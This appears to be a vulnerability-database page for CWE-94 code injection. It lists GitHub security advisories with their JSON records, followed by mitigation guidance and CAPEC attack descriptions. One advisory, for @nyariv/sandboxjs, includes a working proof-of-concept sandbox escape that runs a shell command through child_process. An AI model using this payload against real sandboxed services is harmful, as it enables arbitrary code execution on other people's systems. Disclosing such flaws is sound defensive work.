CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8387 vulnerabilities reference this CWE, most recent first.
GHSA-663R-X48J-FG8P
Vulnerability from github – Published: 2026-06-15 03:30 – Updated: 2026-06-15 03:30A weakness has been identified in jsonata-js jsonata up to 2.2.0. The affected element is the function createFrame of the file src/jsonata.js of the component Function Binding Frame System. This manipulation causes improperly controlled modification of object prototype attributes. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-12208"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-15T03:16:23Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in jsonata-js jsonata up to 2.2.0. The affected element is the function createFrame of the file src/jsonata.js of the component Function Binding Frame System. This manipulation causes improperly controlled modification of object prototype attributes. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-663r-x48j-fg8p",
"modified": "2026-06-15T03:30:32Z",
"published": "2026-06-15T03:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12208"
},
{
"type": "WEB",
"url": "https://github.com/OriginSecurityX/jsonata-hasownproperty-bypass"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-12208"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/832446"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/370850"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/370850/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-663V-CJM7-6HWQ
Vulnerability from github – Published: 2022-05-01 02:19 – Updated: 2022-05-01 02:19PHP file inclusion vulnerability in protection.php in CodeGrrl (a) PHPCalendar 1.0, (b) PHPClique 1.0, (c) PHPCurrently 2.0, (d) PHPFanBase 2.1, and (e) PHPQuotes 1.0 allows remote attackers to include arbitrary local files via the siteurl parameter when register_globals is enabled. NOTE: It was later reported that PHPFanBase 2.2 is also affected.
{
"affected": [],
"aliases": [
"CVE-2005-3571"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2005-11-16T07:42:00Z",
"severity": "MODERATE"
},
"details": "PHP file inclusion vulnerability in protection.php in CodeGrrl (a) PHPCalendar 1.0, (b) PHPClique 1.0, (c) PHPCurrently 2.0, (d) PHPFanBase 2.1, and (e) PHPQuotes 1.0 allows remote attackers to include arbitrary local files via the siteurl parameter when register_globals is enabled. NOTE: It was later reported that PHPFanBase 2.2 is also affected.",
"id": "GHSA-663v-cjm7-6hwq",
"modified": "2022-05-01T02:19:16Z",
"published": "2022-05-01T02:19:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2005-3571"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=113199214723444\u0026w=2"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/17542"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/176"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1015206"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/15417"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/21664"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2005/2402"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-664V-JFQ4-4MFQ
Vulnerability from github – Published: 2024-06-11 21:32 – Updated: 2024-06-20 15:31Inappropriate implementation in Dawn in Google Chrome prior to 126.0.6478.54 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2024-5834"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-11T21:15:54Z",
"severity": "HIGH"
},
"details": "Inappropriate implementation in Dawn in Google Chrome prior to 126.0.6478.54 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-664v-jfq4-4mfq",
"modified": "2024-06-20T15:31:11Z",
"published": "2024-06-11T21:32:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5834"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2024/06/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/342840932"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7VXA32LXMNK3DSK3JBRLTBPFUH7LTODU"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MPU7AB53QQVNTBPGRMJRY5SXJNYWW3FX"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-665F-9WXP-F9V8
Vulnerability from github – Published: 2022-05-02 06:18 – Updated: 2022-05-02 06:18Multiple PHP remote file inclusion vulnerabilities in osDate 2.1.9 and 2.5.4, when magic_quotes_gpc is disabled and register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the config[forum_installed] parameter to (1) forum/adminLogin.php and (2) forum/userLogin.php. NOTE: some of these details are obtained from third party information.
{
"affected": [],
"aliases": [
"CVE-2010-1055"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-23T17:30:00Z",
"severity": "MODERATE"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in osDate 2.1.9 and 2.5.4, when magic_quotes_gpc is disabled and register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the config[forum_installed] parameter to (1) forum/adminLogin.php and (2) forum/userLogin.php. NOTE: some of these details are obtained from third party information.",
"id": "GHSA-665f-9wxp-f9v8",
"modified": "2022-05-02T06:18:34Z",
"published": "2022-05-02T06:18:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1055"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/56909"
},
{
"type": "WEB",
"url": "http://evilc0de.blogspot.com/2010/03/osdate-rfi-vuln.html"
},
{
"type": "WEB",
"url": "http://osvdb.org/63005"
},
{
"type": "WEB",
"url": "http://osvdb.org/63006"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/38943"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/11755"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/38738"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6662-3HPJ-63QQ
Vulnerability from github – Published: 2025-03-01 06:30 – Updated: 2025-03-01 06:30ToDesktop before 2024-10-03, as used by Cursor before 2024-10-03 and other applications, allows remote attackers to execute arbitrary commands on the build server (e.g., read secrets from the desktopify config.prod.json file), and consequently deploy updates to any app, via a postinstall script in package.json. No exploitation occurred.
{
"affected": [],
"aliases": [
"CVE-2025-27554"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-01T06:15:34Z",
"severity": "CRITICAL"
},
"details": "ToDesktop before 2024-10-03, as used by Cursor before 2024-10-03 and other applications, allows remote attackers to execute arbitrary commands on the build server (e.g., read secrets from the desktopify config.prod.json file), and consequently deploy updates to any app, via a postinstall script in package.json. No exploitation occurred.",
"id": "GHSA-6662-3hpj-63qq",
"modified": "2025-03-01T06:30:53Z",
"published": "2025-03-01T06:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27554"
},
{
"type": "WEB",
"url": "https://kibty.town/blog/todesktop"
},
{
"type": "WEB",
"url": "https://news.ycombinator.com/item?id=43210858"
},
{
"type": "WEB",
"url": "https://www.todesktop.com/blog/posts/security-incident-at-todesktop"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-666H-G3RX-GW3P
Vulnerability from github – Published: 2026-03-03 21:31 – Updated: 2026-03-04 15:30Weintek cMT-3072XH2 easyweb v2.1.53, OS v20231011 was discovered to contain an authenticated command injection vulnerability via the HMI Name parameter.
{
"affected": [],
"aliases": [
"CVE-2024-55022"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-03T20:16:41Z",
"severity": "HIGH"
},
"details": "Weintek cMT-3072XH2 easyweb v2.1.53, OS v20231011 was discovered to contain an authenticated command injection vulnerability via the HMI Name parameter.",
"id": "GHSA-666h-g3rx-gw3p",
"modified": "2026-03-04T15:30:33Z",
"published": "2026-03-03T21:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55022"
},
{
"type": "WEB",
"url": "https://gist.github.com/AenganZ/f86ed0da28825a1432ec697f484622de"
},
{
"type": "WEB",
"url": "https://plain-trick-71d.notion.site/weintek-cMT-3072XH2-14687a89c4c181eeb21ad61e0392f34b?pvs=4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-669R-J85H-HF68
Vulnerability from github – Published: 2022-05-02 06:13 – Updated: 2022-05-02 06:13Microsoft Internet Explorer 6, 6 SP1, 7, and 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka "Uninitialized Memory Corruption Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2010-0490"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-31T19:30:00Z",
"severity": "HIGH"
},
"details": "Microsoft Internet Explorer 6, 6 SP1, 7, and 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka \"Uninitialized Memory Corruption Vulnerability.\"",
"id": "GHSA-669r-j85h-hf68",
"modified": "2022-05-02T06:13:06Z",
"published": "2022-05-02T06:13:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0490"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-018"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8302"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1023773"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/39031"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA10-068A.html"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA10-089A.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/0744"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-66FF-XGX4-VCHM
Vulnerability from github – Published: 2026-05-12 15:06 – Updated: 2026-05-12 15:06Summary
protobufjs generated JavaScript for toObject conversion could include an unsafe expression derived from a schema-controlled bytes field default value. A crafted descriptor with a non-string default value for a bytes field could cause attacker-controlled code to be emitted into the generated conversion function.
Impact
An attacker who can provide or influence a protobuf descriptor may be able to execute arbitrary JavaScript in the context of the process using protobufjs.
This requires the application to load an attacker-controlled schema or descriptor and then convert a message of the affected type with defaults enabled. Applications that only use trusted, application-defined schemas are not directly affected by this issue.
Preconditions
- The application must allow an attacker to control or influence a protobuf JSON descriptor or equivalent reflected schema.
- The descriptor must define a
bytesfield with an attacker-controlled default value. - The application must call
toObjectwith defaults enabled for the affected type.
Workarounds
Do not load protobuf schemas or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict field options before loading them and run schema processing in an isolated environment.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.5"
},
"package": {
"ecosystem": "npm",
"name": "protobufjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.1"
},
"package": {
"ecosystem": "npm",
"name": "protobufjs"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44293"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T15:06:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nprotobufjs generated JavaScript for `toObject` conversion could include an unsafe expression derived from a schema-controlled `bytes` field default value. A crafted descriptor with a non-string default value for a `bytes` field could cause attacker-controlled code to be emitted into the generated conversion function.\n\n## Impact\n\nAn attacker who can provide or influence a protobuf descriptor may be able to execute arbitrary JavaScript in the context of the process using protobufjs.\n\nThis requires the application to load an attacker-controlled schema or descriptor and then convert a message of the affected type with defaults enabled. Applications that only use trusted, application-defined schemas are not directly affected by this issue.\n\n## Preconditions\n\n- The application must allow an attacker to control or influence a protobuf JSON descriptor or equivalent reflected schema.\n- The descriptor must define a `bytes` field with an attacker-controlled default value.\n- The application must call `toObject` with defaults enabled for the affected type.\n\n## Workarounds\n\nDo not load protobuf schemas or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict field options before loading them and run schema processing in an isolated environment.",
"id": "GHSA-66ff-xgx4-vchm",
"modified": "2026-05-12T15:06:13Z",
"published": "2026-05-12T15:06:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm"
},
{
"type": "PACKAGE",
"url": "https://github.com/protobufjs/protobuf.js"
},
{
"type": "WEB",
"url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.5.6"
},
{
"type": "WEB",
"url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.0.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "protobuf.js: Code injection through bytes field defaults in generated toObject code"
}
GHSA-66H4-QJ4X-38XP
Vulnerability from github – Published: 2026-02-05 21:05 – Updated: 2026-02-06 21:42Summary
As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.
Details
This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:
let a = Map.prototype;
console.log(a) // undefined
const a = Map.prototype;
console.log(a) // Object [Map] {}
let a = 123;
console.log(a) // 123
const a = 123;
console.log(a) // 123
PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const m = Map.prototype;
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
sb.compile(payload)().run();
Impact
Able to set Map.prototype.has -> RCE
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.28"
},
"package": {
"ecosystem": "npm",
"name": "@nyariv/sandboxjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.29"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25587"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-05T21:05:59Z",
"nvd_published_at": "2026-02-06T20:16:10Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nAs `Map` is in `SAFE_PROTOYPES`, it\u0027s prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped.\n\n### Details\n\nThis is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__` (`let` was used during testing), it turns out the `let` implementation is bugged:\n\n```js\nlet a = Map.prototype;\nconsole.log(a) // undefined\n```\n\n```js\nconst a = Map.prototype;\nconsole.log(a) // Object [Map] {}\n```\n\n```js\nlet a = 123;\nconsole.log(a) // 123\n```\n\n```js\nconst a = 123;\nconsole.log(a) // 123\n``` \n\n### PoC\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst m = Map.prototype;\nm.has = isFinite;\n\nconsole.log(\n isFinite.constructor(\n \"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027ls -lah\u0027).toString()\",\n )(),\n);`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nAble to set `Map.prototype.has` -\u003e RCE",
"id": "GHSA-66h4-qj4x-38xp",
"modified": "2026-02-06T21:42:54Z",
"published": "2026-02-05T21:05:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25587"
},
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyariv/SandboxJS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@nyariv/sandboxjs has a Sandbox Escape vulnerability"
}
GHSA-66J8-C83M-GJ5F
Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2025-11-05 19:57Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Zeppelin.
The attacker can inject sensitive configuration or malicious code when connecting MySQL database via JDBC driver. This issue affects Apache Zeppelin: before 0.11.1.
Users are recommended to upgrade to version 0.11.1, which fixes the issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.zeppelin:zeppelin-jdbc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-31864"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-11T20:13:39Z",
"nvd_published_at": "2024-04-09T16:15:08Z",
"severity": "CRITICAL"
},
"details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Apache Zeppelin.\n\nThe attacker can inject sensitive configuration or malicious code when connecting MySQL database via JDBC driver. This issue affects Apache Zeppelin: before 0.11.1.\n\nUsers are recommended to upgrade to version 0.11.1, which fixes the issue.",
"id": "GHSA-66j8-c83m-gj5f",
"modified": "2025-11-05T19:57:46Z",
"published": "2024-04-09T18:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31864"
},
{
"type": "WEB",
"url": "https://github.com/apache/zeppelin/pull/4709"
},
{
"type": "WEB",
"url": "https://github.com/apache/zeppelin/commit/e65b5430e43c076c138a1f56e3f2aba1324118f2"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/zeppelin"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/ZEPPELIN-5990"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/752qdk0rnkd9nqtornz734zwb7xdwcdb"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-11974"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/04/09/8"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/08/03/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Zeppelin remote code execution by adding malicious JDBC connection string"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.